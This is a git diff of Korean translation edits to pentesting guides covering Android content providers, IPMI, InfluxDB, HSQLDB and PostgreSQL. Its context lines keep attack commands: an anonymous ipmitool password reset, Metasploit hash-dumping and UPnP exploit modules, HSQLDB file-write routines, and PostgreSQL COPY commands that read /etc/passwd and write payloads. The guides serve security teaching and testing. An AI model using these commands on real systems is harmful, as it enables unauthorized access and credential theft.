Content Providers는 **데이터베이스**의 **인터페이스**로 사용됩니다. 따라서, 접근할 수 있다면 **정보를 추출, 업데이트, 삽입 및 삭제**할 수 있을 것입니다.\ -민감한 정보에 **접근할 수 있는지** 확인하거나 **권한 부여** 메커니즘을 우회하기 위해 변경해 보십시오. +대부분의 Content Providers는 **데이터베이스**의 **인터페이스**로 사용됩니다. 따라서, 접근할 수 있다면 **정보를 추출, 업데이트, 삽입 및 삭제**할 수 있을 것입니다.\ +민감한 정보에 **접근할 수 있는지** 확인하거나 이를 변경하여 **인증** 메커니즘을 **우회**해 보십시오. Content Provider의 코드를 확인할 때 **_query, insert, update 및 delete_**와 같은 이름의 **함수**도 확인하십시오: @@ -75,7 +73,7 @@ Content Provider의 코드를 확인할 때 **_query, insert, update 및 delete_ ![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>) -왜냐하면 당신은 그것들을 호출할 수 있기 때문입니다. +이들을 호출할 수 있기 때문입니다. ### 쿼리 내용 ``` @@ -89,7 +87,7 @@ email: incognitoguy50@gmail.com ``` ### Insert content -데이터베이스를 쿼리하면 **열의 이름**을 알 수 있으며, 그 후 DB에 데이터를 삽입할 수 있습니다: +데이터베이스를 쿼리하면 **열의 이름**을 알게 되고, 그 후 DB에 데이터를 삽입할 수 있습니다: ![](<../../../images/image (98).png>) @@ -149,7 +147,7 @@ sqlite_sequence ``` ## **파일 시스템 기반 콘텐츠 제공자** -콘텐츠 제공자는 **파일에 접근하는 데** 사용할 수 있습니다: +콘텐츠 제공자는 **파일에 접근하는 데** 사용될 수 있습니다: ![](<../../../images/image (407).png>) @@ -175,7 +173,7 @@ Vulnerable Providers: content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.FileBackupProvider ``` -## 참고 문헌 +## References - [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm) - [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/) diff --git a/src/network-services-pentesting/623-udp-ipmi.md b/src/network-services-pentesting/623-udp-ipmi.md index 45262bc50..72989a5e2 100644 --- a/src/network-services-pentesting/623-udp-ipmi.md +++ b/src/network-services-pentesting/623-udp-ipmi.md @@ -1,11 +1,8 @@ # 623/UDP/TCP - IPMI -## 623/UDP/TCP - IPMI - {{#include ../banners/hacktricks-training.md}} - -## 기본 정보 +## Basic Information ### **IPMI 개요** @@ -17,7 +14,7 @@ IPMI는 온도, 전압, 팬 속도 및 전원 공급 장치를 모니터링할 수 있으며, 인벤토리 정보 제공, 하드웨어 로그 검토 및 SNMP를 통한 경고 전송 기능도 제공합니다. 작동에 필수적인 요소는 전원 공급 장치와 LAN 연결입니다. -1998년 Intel에 의해 도입된 이후, IPMI는 여러 공급업체의 지원을 받아 원격 관리 기능을 향상시켰으며, 특히 2.0 버전의 LAN을 통한 직렬 지원이 주요합니다. 주요 구성 요소는 다음과 같습니다: +1998년 Intel에 의해 도입된 이후, IPMI는 여러 공급업체의 지원을 받아 원격 관리 기능을 향상시켰으며, 특히 2.0 버전의 LAN을 통한 직렬 지원이 추가되었습니다. 주요 구성 요소는 다음과 같습니다: - **Baseboard Management Controller (BMC):** IPMI 작업을 위한 주요 마이크로 컨트롤러. - **통신 버스 및 인터페이스:** ICMB, IPMB 및 다양한 로컬 및 네트워크 연결을 위한 내부 및 외부 통신을 위한 것. @@ -27,9 +24,9 @@ IPMI는 온도, 전압, 팬 속도 및 전원 공급 장치를 모니터링할 **기본 포트**: 623/UDP/TCP (보통 UDP에서 실행되지만 TCP에서도 실행될 수 있습니다) -## 열거 +## Enumeration -### 발견 +### Discovery ```bash nmap -n -p 623 10.0.0./24 nmap -n-sU -p 623 10.0.0./24 @@ -42,11 +39,11 @@ nmap -sU --script ipmi-version -p 623 10.10.10.10 ``` ### IPMI 취약점 -IPMI 2.0 영역에서 Dan Farmer에 의해 중요한 보안 결함이 발견되었으며, **cipher type 0**를 통해 취약점이 노출되었습니다. 이 취약점은 [Dan Farmer의 연구](http://fish2.com/ipmi/cipherzero.html)에서 자세히 문서화되어 있으며, 유효한 사용자가 목표로 삼을 경우 어떤 비밀번호로도 무단 접근을 가능하게 합니다. 이 약점은 HP, Dell, Supermicro와 같은 제조업체의 다양한 BMC에서 발견되어 모든 IPMI 2.0 구현에서 광범위한 문제를 시사합니다. +IPMI 2.0 영역에서 Dan Farmer에 의해 중요한 보안 결함이 발견되었으며, **cipher type 0**를 통해 취약점이 노출되었습니다. 이 취약점은 [Dan Farmer의 연구](http://fish2.com/ipmi/cipherzero.html)에서 자세히 문서화되어 있으며, 유효한 사용자가 타겟이 되는 경우 어떤 비밀번호로도 무단 접근을 가능하게 합니다. 이 약점은 HP, Dell, Supermicro와 같은 제조업체의 다양한 BMC에서 발견되어 모든 IPMI 2.0 구현에서 광범위한 문제를 시사합니다. ### **Cipher 0을 통한 IPMI 인증 우회** -이 결함을 탐지하기 위해 다음의 Metasploit 보조 스캐너를 사용할 수 있습니다: +이 결함을 탐지하기 위해 다음 Metasploit 보조 스캐너를 사용할 수 있습니다: ```bash use auxiliary/scanner/ipmi/ipmi_cipher_zero ``` @@ -64,20 +61,20 @@ msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ``` ### **IPMI 익명 인증** -많은 BMC의 기본 구성은 null 사용자 이름과 비밀번호 문자열로 특징지어지는 "익명" 액세스를 허용합니다. 이 구성을 사용하여 `ipmitool`을 사용하여 명명된 사용자 계정의 비밀번호를 재설정할 수 있습니다: +많은 BMC의 기본 구성은 null 사용자 이름과 비밀번호 문자열로 특징지어지는 "익명" 액세스를 허용합니다. 이 구성은 `ipmitool`을 사용하여 명명된 사용자 계정의 비밀번호를 재설정하는 데 악용될 수 있습니다: ```bash ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword ``` ### **Supermicro IPMI 평문 비밀번호** -IPMI 2.0의 중요한 설계 선택은 인증 목적으로 BMC 내에 평문 비밀번호를 저장해야 함을 요구합니다. Supermicro가 `/nv/PSBlock` 또는 `/nv/PSStore`와 같은 위치에 이러한 비밀번호를 저장하는 것은 심각한 보안 문제를 야기합니다: +IPMI 2.0의 중요한 설계 선택은 인증 목적으로 BMC 내에 평문 비밀번호를 저장해야 함을 요구합니다. Supermicro가 이러한 비밀번호를 `/nv/PSBlock` 또는 `/nv/PSStore`와 같은 위치에 저장하는 것은 심각한 보안 문제를 야기합니다: ```bash cat /nv/PSBlock ``` -### **슈퍼마이크로 IPMI UPnP 취약점** +### **Supermicro IPMI UPnP 취약점** -슈퍼마이크로의 IPMI 펌웨어에 UPnP SSDP 리스너가 포함되어 있으며, 특히 UDP 포트 1900에서 심각한 보안 위험을 초래합니다. [Rapid7의 공개](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)에서 자세히 설명된 Intel SDK for UPnP Devices 버전 1.3.1의 취약점은 BMC에 대한 루트 접근을 허용합니다: +Supermicro의 IPMI 펌웨어에 UPnP SSDP 리스너를 포함하는 것은 특히 UDP 포트 1900에서 심각한 보안 위험을 초래합니다. [Rapid7의 공개](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)에서 자세히 설명된 Intel SDK for UPnP Devices 버전 1.3.1의 취약점은 BMC에 대한 루트 접근을 허용합니다: ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` @@ -86,12 +83,12 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow **HP는 제조 중에** **Integrated Lights Out (iLO)** 제품의 기본 비밀번호를 무작위로 설정합니다. 이 관행은 **정적 기본 자격 증명**을 사용하는 다른 제조업체와 대조적입니다. 다양한 제품에 대한 기본 사용자 이름과 비밀번호 요약은 다음과 같습니다: - **HP Integrated Lights Out (iLO)**는 기본 비밀번호로 **공장 무작위 8자 문자열**을 사용하여 더 높은 보안 수준을 보여줍니다. -- **Dell의 iDRAC, IBM의 IMM**, 및 **Fujitsu의 Integrated Remote Management Controller**와 같은 제품은 각각 "calvin", "PASSW0RD" (0 사용), "admin"과 같은 쉽게 추측할 수 있는 비밀번호를 사용합니다. +- **Dell의 iDRAC, IBM의 IMM**, 및 **Fujitsu의 Integrated Remote Management Controller**와 같은 제품은 각각 "calvin", "PASSW0RD" (0이 포함됨), "admin"과 같은 쉽게 추측할 수 있는 비밀번호를 사용합니다. - 유사하게, **Supermicro IPMI (2.0), Oracle/Sun ILOM**, 및 **ASUS iKVM BMC**도 "ADMIN", "changeme", "admin"을 비밀번호로 사용하는 간단한 기본 자격 증명을 사용합니다. ## Accessing the Host via BMC -Baseboard Management Controller (BMC)에 대한 관리 액세스는 호스트 운영 체제에 접근할 수 있는 다양한 경로를 엽니다. 간단한 접근 방식은 BMC의 키보드, 비디오, 마우스 (KVM) 기능을 악용하는 것입니다. 이는 GRUB를 통해 루트 셸로 호스트를 재부팅하거나 가상 CD-ROM에서 복구 디스크로 부팅하여 수행할 수 있습니다. 이러한 방법은 호스트의 디스크를 직접 조작할 수 있게 하며, 백도어 삽입, 데이터 추출 또는 보안 평가를 위한 필요한 작업을 포함합니다. 그러나 이는 호스트를 재부팅해야 하므로 상당한 단점이 있습니다. 재부팅 없이 실행 중인 호스트에 접근하는 것은 더 복잡하며 호스트의 구성에 따라 다릅니다. 호스트의 물리적 또는 직렬 콘솔이 로그인된 상태라면, BMC의 KVM 또는 직렬-over-LAN (sol) 기능을 통해 쉽게 장악할 수 있습니다. i2c 버스 및 Super I/O 칩과 같은 공유 하드웨어 리소스의 악용을 탐색하는 것은 추가 조사가 필요한 영역입니다. +Baseboard Management Controller (BMC)에 대한 관리 액세스는 호스트 운영 체제에 접근할 수 있는 다양한 경로를 엽니다. 간단한 접근 방식은 BMC의 키보드, 비디오, 마우스 (KVM) 기능을 활용하는 것입니다. 이는 GRUB을 통해 루트 셸로 호스트를 재부팅하거나 가상 CD-ROM에서 복구 디스크로 부팅하여 수행할 수 있습니다. 이러한 방법은 호스트의 디스크를 직접 조작할 수 있게 하며, 백도어 삽입, 데이터 추출 또는 보안 평가를 위한 필요한 작업을 포함합니다. 그러나 이는 호스트를 재부팅해야 하므로 상당한 단점이 있습니다. 재부팅 없이 실행 중인 호스트에 접근하는 것은 더 복잡하며 호스트의 구성에 따라 다릅니다. 호스트의 물리적 또는 직렬 콘솔이 로그인된 상태라면 BMC의 KVM 또는 직렬-over-LAN (sol) 기능을 통해 쉽게 장악할 수 있습니다. i2c 버스 및 Super I/O 칩과 같은 공유 하드웨어 리소스의 악용을 탐색하는 것은 추가 조사가 필요한 영역입니다. ## Introducing Backdoors into BMC from the Host diff --git a/src/network-services-pentesting/8086-pentesting-influxdb.md b/src/network-services-pentesting/8086-pentesting-influxdb.md index 51429f7c4..3f2b45640 100644 --- a/src/network-services-pentesting/8086-pentesting-influxdb.md +++ b/src/network-services-pentesting/8086-pentesting-influxdb.md @@ -1,22 +1,21 @@ # 8086 - Pentesting InfluxDB - {{#include ../banners/hacktricks-training.md}} -## 기본 정보 +## Basic Information -**InfluxDB**는 InfluxData에서 개발한 오픈 소스 **시계열 데이터베이스 (TSDB)**입니다. TSDB는 타임스탬프-값 쌍으로 구성된 시계열 데이터를 저장하고 제공하는 데 최적화되어 있습니다. 일반 목적의 데이터베이스에 비해 TSDB는 시계열 데이터셋에 대한 **저장 공간**과 **성능**에서 상당한 개선을 제공합니다. 이들은 특수한 압축 알고리즘을 사용하며, 오래된 데이터를 자동으로 제거하도록 구성할 수 있습니다. 특수한 데이터베이스 인덱스는 쿼리 성능을 향상시킵니다. +**InfluxDB**는 InfluxData에서 개발한 오픈 소스 **시계열 데이터베이스 (TSDB)**입니다. TSDB는 타임스탬프-값 쌍으로 구성된 시계열 데이터를 저장하고 제공하는 데 최적화되어 있습니다. 일반 목적의 데이터베이스에 비해 TSDB는 시계열 데이터셋에 대한 **저장 공간**과 **성능**에서 상당한 개선을 제공합니다. 이들은 특수한 압축 알고리즘을 사용하며, 오래된 데이터를 자동으로 제거하도록 구성할 수 있습니다. 특수한 데이터베이스 인덱스는 쿼리 성능도 향상시킵니다. **기본 포트**: 8086 ``` PORT STATE SERVICE VERSION 8086/tcp open http InfluxDB http admin 1.7.5 ``` -## 열거 +## Enumeration 펜테스터의 관점에서 볼 때, 이것은 민감한 정보를 저장할 수 있는 또 다른 데이터베이스이므로 모든 정보를 덤프하는 방법을 아는 것이 흥미롭습니다. -### 인증 +### Authentication InfluxDB는 인증이 필요할 수도 있고 필요하지 않을 수도 있습니다. ```bash @@ -24,11 +23,11 @@ InfluxDB는 인증이 필요할 수도 있고 필요하지 않을 수도 있습 influx -host 'host name' -port 'port #' > use _internal ``` -이와 같은 오류가 발생하면: `ERR: unable to parse authentication credentials` 이는 **자격 증명을 기대하고 있다는 의미입니다**. +이와 같은 오류가 발생하면: `ERR: unable to parse authentication credentials` 이는 **자격 증명을 기대하고 있다는 의미**입니다. ``` influx –username influx –password influx_pass ``` -influxdb에서 인증을 우회할 수 있는 취약점이 있었습니다: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933) +influxdb에는 인증을 우회할 수 있는 취약점이 있었습니다: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933) ### 수동 열거 @@ -36,7 +35,7 @@ influxdb에서 인증을 우회할 수 있는 취약점이 있었습니다: [**C #### 데이터베이스 표시 -발견된 데이터베이스는 `telegraf`와 `internal`입니다 (이것은 어디에서나 찾을 수 있습니다). +발견된 데이터베이스는 `telegraf`와 `internal`입니다 (이 데이터베이스는 어디에서나 찾을 수 있습니다). ```bash > show databases name: databases @@ -45,9 +44,9 @@ name telegraf _internal ``` -#### 테이블/측정값 보기 +#### Show tables/measurements -The [**InfluxDB documentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) explains that **measurements** in InfluxDB can be paralleled with SQL tables. 이 **측정값**의 명칭은 각각의 내용과 관련이 있으며, 각 측정값은 특정 엔티티와 관련된 데이터를 포함하고 있습니다. +The [**InfluxDB documentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) 설명합니다 **measurements** InfluxDB에서 SQL 테이블과 병렬로 사용할 수 있습니다. 이러한 **measurements**의 명칭은 각기 다른 엔티티와 관련된 데이터를 담고 있음을 나타냅니다. ```bash > show measurements name: measurements diff --git a/src/network-services-pentesting/9001-pentesting-hsqldb.md b/src/network-services-pentesting/9001-pentesting-hsqldb.md index e2d8125f1..87e8027e8 100644 --- a/src/network-services-pentesting/9001-pentesting-hsqldb.md +++ b/src/network-services-pentesting/9001-pentesting-hsqldb.md @@ -1,44 +1,44 @@ +# 9001 - Pentesting HSQLDB + {{#include ../banners/hacktricks-training.md}} -# 기본 정보 +## 기본 정보 -**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**는 Java로 작성된 주요 SQL 관계형 데이터베이스 시스템입니다. 메모리 및 디스크 기반 테이블을 갖춘 작고 빠른 다중 스레드 및 트랜잭션 데이터베이스 엔진을 제공하며, 임베디드 및 서버 모드를 지원합니다. +**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**는 Java로 작성된 주요 SQL 관계형 데이터베이스 시스템입니다. 메모리 내 및 디스크 기반 테이블을 갖춘 작고 빠른 다중 스레드 및 트랜잭션 데이터베이스 엔진을 제공하며, 임베디드 및 서버 모드를 지원합니다. **기본 포트:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` -# 정보 +## 기본 설정 -### 기본 설정 - -기본적으로 이 서비스는 메모리에서 실행되거나 localhost에 바인딩되어 있을 가능성이 높습니다. 이를 발견했다면, 아마 다른 서비스를 이용해 취약점을 이용하고 권한 상승을 시도하고 있는 것입니다. +기본적으로 이 서비스는 메모리에서 실행되거나 localhost에 바인딩되어 있을 가능성이 높습니다. 이를 발견했다면, 아마도 다른 서비스를 이용해 취약점을 이용하고 권한 상승을 시도하고 있는 것입니다. 기본 자격 증명은 일반적으로 `sa`와 빈 비밀번호입니다. -다른 서비스를 이용했다면, 가능한 자격 증명을 검색하세요. +다른 서비스를 이용했다면, 가능한 자격 증명을 검색하십시오. ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` 데이터베이스 이름을 주의 깊게 기록하세요 - 연결하는 데 필요합니다. -# 정보 수집 +## 정보 수집 [HSQLDB 다운로드](https://sourceforge.net/projects/hsqldb/files/) 후 `hsqldb/lib/hsqldb.jar`를 추출하여 DB 인스턴스에 연결합니다. `java -jar hsqldb.jar`를 사용하여 GUI 앱 \(eww\)을 실행하고 발견된/약한 자격 증명을 사용하여 인스턴스에 연결합니다. 원격 시스템의 경우 연결 URL은 다음과 비슷하게 보일 것입니다: `jdbc:hsqldb:hsql://ip/DBNAME`. -# 트릭 +## 트릭 -## 자바 언어 루틴 +### 자바 언어 루틴 HSQLDB에서 자바 언어 루틴을 사용하여 자바 클래스의 정적 메서드를 호출할 수 있습니다. 호출된 클래스는 애플리케이션의 클래스 경로에 있어야 합니다. -JRT는 `functions` 또는 `procedures`일 수 있습니다. 함수는 자바 메서드가 하나 이상의 SQL 호환 원시 변수를 반환하는 경우 SQL 문을 통해 호출할 수 있습니다. `VALUES` 문을 사용하여 호출됩니다. +JRT는 `functions` 또는 `procedures`일 수 있습니다. 함수는 자바 메서드가 하나 이상의 SQL 호환 기본 변수를 반환하는 경우 SQL 문을 통해 호출할 수 있습니다. `VALUES` 문을 사용하여 호출됩니다. 우리가 호출하려는 자바 메서드가 void를 반환하는 경우, `CALL` 문으로 호출되는 프로시저를 사용해야 합니다. -## 자바 시스템 속성 읽기 +### 자바 시스템 속성 읽기 함수 생성: ```text @@ -50,11 +50,11 @@ EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' ```text VALUES(getsystemproperty('user.name')) ``` -여기에서 [시스템 속성 목록을 찾을 수 있습니다](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). +다음은 [시스템 속성 목록을 여기에서 찾을 수 있습니다](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). -## 파일에 내용 쓰기 +### 파일에 내용 쓰기 -JDK에 위치한 `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java 가젯을 사용하여 사용자 정의 프로시저를 통해 16진수 인코딩 항목을 디스크에 쓸 수 있습니다 \(애플리케이션의 클래스 경로에 자동으로 로드됨\). **최대 크기는 1024 바이트입니다**. +`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java 가젯을 사용하여 사용자 정의 프로시저를 통해 16진수 인코딩된 항목을 디스크에 쓸 수 있습니다 \(JDK에 자동으로 로드됨\). **최대 크기는 1024 바이트입니다**. 프로시저 생성: ```text diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md index 1165f3a35..dcebbed32 100644 --- a/src/network-services-pentesting/pentesting-postgresql.md +++ b/src/network-services-pentesting/pentesting-postgresql.md @@ -1,13 +1,12 @@ # 5432,5433 - Pentesting Postgresql - {{#include ../banners/hacktricks-training.md}} ## **기본 정보** -**PostgreSQL**는 **오브젝트-관계형 데이터베이스 시스템**으로 설명되며, **오픈 소스**입니다. 이 시스템은 SQL 언어를 활용할 뿐만 아니라 추가 기능으로 이를 향상시킵니다. 다양한 데이터 유형과 작업을 처리할 수 있는 능력 덕분에 개발자와 조직에게 다재다능한 선택이 됩니다. +**PostgreSQL**은 **오브젝트-관계형 데이터베이스 시스템**으로 설명되며, **오픈 소스**입니다. 이 시스템은 SQL 언어를 활용할 뿐만 아니라 추가 기능으로 이를 향상시킵니다. 그 기능은 다양한 데이터 유형과 작업을 처리할 수 있게 하여 개발자와 조직에게 다재다능한 선택이 됩니다. -**기본 포트:** 5432, 이 포트가 이미 사용 중인 경우 postgresql은 사용되지 않는 다음 포트(아마도 5433)를 사용할 것 같습니다. +**기본 포트:** 5432, 이 포트가 이미 사용 중인 경우 postgresql은 사용 중이지 않은 다음 포트(아마도 5433)를 사용할 것 같습니다. ``` PORT STATE SERVICE 5432/tcp open pgsql @@ -53,7 +52,7 @@ SELECT * FROM pg_extension; \s ``` > [!WARNING] -> **`\list`**를 실행했을 때 **`rdsadmin`**이라는 데이터베이스가 발견되면, **AWS postgresql 데이터베이스** 안에 있다는 것을 알 수 있습니다. +> **`\list`**를 실행했을 때 **`rdsadmin`**이라는 데이터베이스가 발견되면 **AWS postgresql 데이터베이스**에 들어와 있다는 것을 알 수 있습니다. **PostgreSQL 데이터베이스를 악용하는 방법**에 대한 자세한 정보는 다음을 확인하세요: @@ -79,21 +78,21 @@ password=secret dbname=abc connect_timeout=10'); ``` -- 호스트가 다운되었습니다. +- 호스트가 다운됨 `DETAIL: 서버에 연결할 수 없습니다: 호스트에 대한 경로가 없습니다. "1.2.3.4"에서 서버가 실행 중이며 포트 5678에서 TCP/IP 연결을 수락하고 있습니까?` -- 포트가 닫혀 있습니다. +- 포트가 닫혀 있음 ``` DETAIL: could not connect to server: Connection refused Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` -- 포트가 열려 있습니다. +- 포트가 열려 있습니다 ``` DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request ``` -또는 +or ``` DETAIL: FATAL: password authentication failed for user "name" ``` @@ -102,25 +101,25 @@ DETAIL: FATAL: password authentication failed for user "name" DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` -PL/pgSQL 함수에서는 현재 예외 세부정보를 얻는 것이 불가능합니다. 그러나 PostgreSQL 서버에 직접 접근할 수 있다면 필요한 정보를 검색할 수 있습니다. 시스템 테이블에서 사용자 이름과 비밀번호를 추출하는 것이 불가능하다면, 이전 섹션에서 논의된 단어 목록 공격 방법을 활용하는 것을 고려할 수 있습니다. 이는 긍정적인 결과를 가져올 수 있습니다. +In PL/pgSQL 함수에서는 현재 예외 세부정보를 얻는 것이 불가능합니다. 그러나 PostgreSQL 서버에 직접 접근할 수 있다면 필요한 정보를 검색할 수 있습니다. 시스템 테이블에서 사용자 이름과 비밀번호를 추출하는 것이 불가능하다면, 이전 섹션에서 논의된 단어 목록 공격 방법을 활용하는 것을 고려할 수 있습니다. 이는 긍정적인 결과를 가져올 수 있습니다. ## 권한 열거 ### 역할 -| 역할 유형 | | +| 역할 유형 | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -| rolsuper | 역할은 슈퍼유저 권한을 가집니다. | -| rolinherit | 역할은 자신이 속한 역할의 권한을 자동으로 상속받습니다. | -| rolcreaterole | 역할은 더 많은 역할을 생성할 수 있습니다. | -| rolcreatedb | 역할은 데이터베이스를 생성할 수 있습니다. | -| rolcanlogin | 역할은 로그인할 수 있습니다. 즉, 이 역할은 초기 세션 인증 식별자로 사용될 수 있습니다. | -| rolreplication | 역할은 복제 역할입니다. 복제 역할은 복제 연결을 시작하고 복제 슬롯을 생성 및 삭제할 수 있습니다. | -| rolconnlimit | 로그인할 수 있는 역할의 경우, 이 역할이 만들 수 있는 최대 동시 연결 수를 설정합니다. -1은 제한이 없음을 의미합니다. | +| rolsuper | 역할이 슈퍼유저 권한을 가집니다. | +| rolinherit | 역할이 소속된 역할의 권한을 자동으로 상속받습니다. | +| rolcreaterole | 역할이 더 많은 역할을 생성할 수 있습니다. | +| rolcreatedb | 역할이 데이터베이스를 생성할 수 있습니다. | +| rolcanlogin | 역할이 로그인할 수 있습니다. 즉, 이 역할은 초기 세션 인증 식별자로 사용될 수 있습니다. | +| rolreplication | 역할이 복제 역할입니다. 복제 역할은 복제 연결을 시작하고 복제 슬롯을 생성 및 삭제할 수 있습니다. | +| rolconnlimit | 로그인할 수 있는 역할에 대해 이 역할이 만들 수 있는 최대 동시 연결 수를 설정합니다. -1은 제한이 없음을 의미합니다. | | rolpassword | 비밀번호가 아닙니다 (항상 `********`로 읽힙니다). | | rolvaliduntil | 비밀번호 만료 시간 (비밀번호 인증에만 사용됨); 만료가 없으면 null입니다. | -| rolbypassrls | 역할은 모든 행 수준 보안 정책을 우회합니다. 자세한 내용은 [섹션 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)를 참조하십시오. | -| rolconfig | 런타임 구성 변수에 대한 역할별 기본값 | +| rolbypassrls | 역할이 모든 행 수준 보안 정책을 우회합니다. 자세한 내용은 [섹션 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)를 참조하십시오. | +| rolconfig | 실행 시간 구성 변수에 대한 역할별 기본값 | | oid | 역할의 ID | #### 흥미로운 그룹 @@ -129,8 +128,8 @@ PL/pgSQL 함수에서는 현재 예외 세부정보를 얻는 것이 불가능 - **`pg_read_server_files`**의 구성원인 경우 **파일을 읽**을 수 있습니다. - **`pg_write_server_files`**의 구성원인 경우 **파일을 쓸** 수 있습니다. -> [!NOTE] -> Postgres에서 **사용자**, **그룹** 및 **역할**은 **같습니다**. 이는 **사용 방법**과 **로그인 허용 여부**에 따라 다릅니다. +> [!TIP] +> Postgres에서 **사용자**, **그룹** 및 **역할**은 **같습니다**. 이는 **사용하는 방법**과 **로그인 허용 여부**에 따라 다릅니다. ```sql # Get users roles \du @@ -212,7 +211,7 @@ SELECT * FROM pg_proc; ### 디렉토리 및 파일 읽기 -이 [**커밋** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)에서 정의된 **`DEFAULT_ROLE_READ_SERVER_FILES`** 그룹( **`pg_read_server_files`**라고 불림) 및 **슈퍼 유저**는 모든 경로에서 **`COPY`** 방법을 사용할 수 있습니다( `genfile.c`의 `convert_and_check_filename`을 확인하세요): +이 [**커밋**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)에서 정의된 **`DEFAULT_ROLE_READ_SERVER_FILES`** 그룹( **`pg_read_server_files`**라고 불림) 및 **슈퍼 유저**는 모든 경로에서 **`COPY`** 방법을 사용할 수 있습니다( `genfile.c`의 `convert_and_check_filename`을 확인하세요): ```sql # Read file CREATE TABLE demo(t text); @@ -220,7 +219,7 @@ COPY demo from '/etc/passwd'; SELECT * FROM demo; ``` > [!WARNING] -> 슈퍼 유저가 아니지만 **CREATEROLE** 권한이 있는 경우 **그 그룹의 구성원으로 자신을 만들 수 있습니다:** +> 기억하세요, 만약 당신이 슈퍼 유저가 아니지만 **CREATEROLE** 권한이 있다면 **그 그룹의 멤버가 될 수 있습니다:** > > ```sql > GRANT pg_read_server_files TO username; @@ -228,7 +227,7 @@ SELECT * FROM demo; > > [**자세한 정보.**](pentesting-postgresql.md#privilege-escalation-with-createrole) -다른 **postgres 함수**가 있어 **파일을 읽거나 디렉토리를 나열**하는 데 사용할 수 있습니다. 오직 **슈퍼유저**와 **명시적 권한이 있는 사용자**만 사용할 수 있습니다: +다른 **postgres 함수**들이 있어 **파일을 읽거나 디렉토리를 나열하는** 데 사용할 수 있습니다. 오직 **슈퍼유저**와 **명시적 권한이 있는 사용자**만 사용할 수 있습니다: ```sql # Before executing these function go to the postgres DB (not in the template1) \c postgres @@ -261,7 +260,7 @@ GRANT pg_read_server_files TO username; copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` > [!WARNING] -> 슈퍼 유저가 아니더라도 **`CREATEROLE`** 권한이 있는 경우 **그 그룹의 멤버가 될 수 있습니다:** +> **`CREATEROLE`** 권한이 있는 경우 슈퍼 유저가 아니더라도 **그룹의 구성원이 될 수 있습니다:** > > ```sql > GRANT pg_write_server_files TO username; @@ -270,7 +269,7 @@ copy (select convert_from(decode('','base64'),'utf-8')) to '/ju > [**자세한 정보.**](pentesting-postgresql.md#privilege-escalation-with-createrole) COPY는 줄 바꿈 문자를 처리할 수 없으므로, base64 페이로드를 사용하더라도 **한 줄로 전송해야 합니다.**\ -이 기술의 매우 중요한 제한 사항은 **`copy`가 이진 파일을 쓰는 데 사용할 수 없다는 것입니다. 이진 값이 일부 수정되기 때문입니다.** +이 기술의 매우 중요한 제한 사항은 **`copy`를 사용하여 이진 파일을 쓸 수 없다는 것입니다. 이로 인해 일부 이진 값이 수정됩니다.** ### **이진 파일 업로드** @@ -284,7 +283,7 @@ COPY는 줄 바꿈 문자를 처리할 수 없으므로, base64 페이로드를 ### 로컬 파일 쓰기를 통한 PostgreSQL 테이블 데이터 업데이트 -PostgreSQL 서버 파일을 읽고 쓸 수 있는 권한이 있는 경우, **연관된 파일 노드를 덮어써서** 서버의 모든 테이블을 업데이트할 수 있습니다 [PostgreSQL 데이터 디렉토리](https://www.postgresql.org/docs/8.1/storage.html). **이 기술에 대한 자세한 내용은** [**여기**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)에서 확인하세요. +PostgreSQL 서버 파일을 읽고 쓸 수 있는 권한이 있는 경우, **연관된 파일 노드를 덮어써서** 서버의 모든 테이블을 업데이트할 수 있습니다. [PostgreSQL 데이터 디렉토리](https://www.postgresql.org/docs/8.1/storage.html)에서 **이 기술에 대한 더 많은 정보는** [**여기**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)에서 확인할 수 있습니다. 필요한 단계: @@ -294,9 +293,9 @@ PostgreSQL 서버 파일을 읽고 쓸 수 있는 권한이 있는 경우, **연 SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` -**참고:** 설정에서 현재 데이터 디렉토리 경로를 가져올 수 없는 경우, `SELECT version()` 쿼리를 통해 주요 PostgreSQL 버전을 쿼리하고 경로를 무작위로 추측해 볼 수 있습니다. PostgreSQL의 Unix 설치에서 일반적인 데이터 디렉토리 경로는 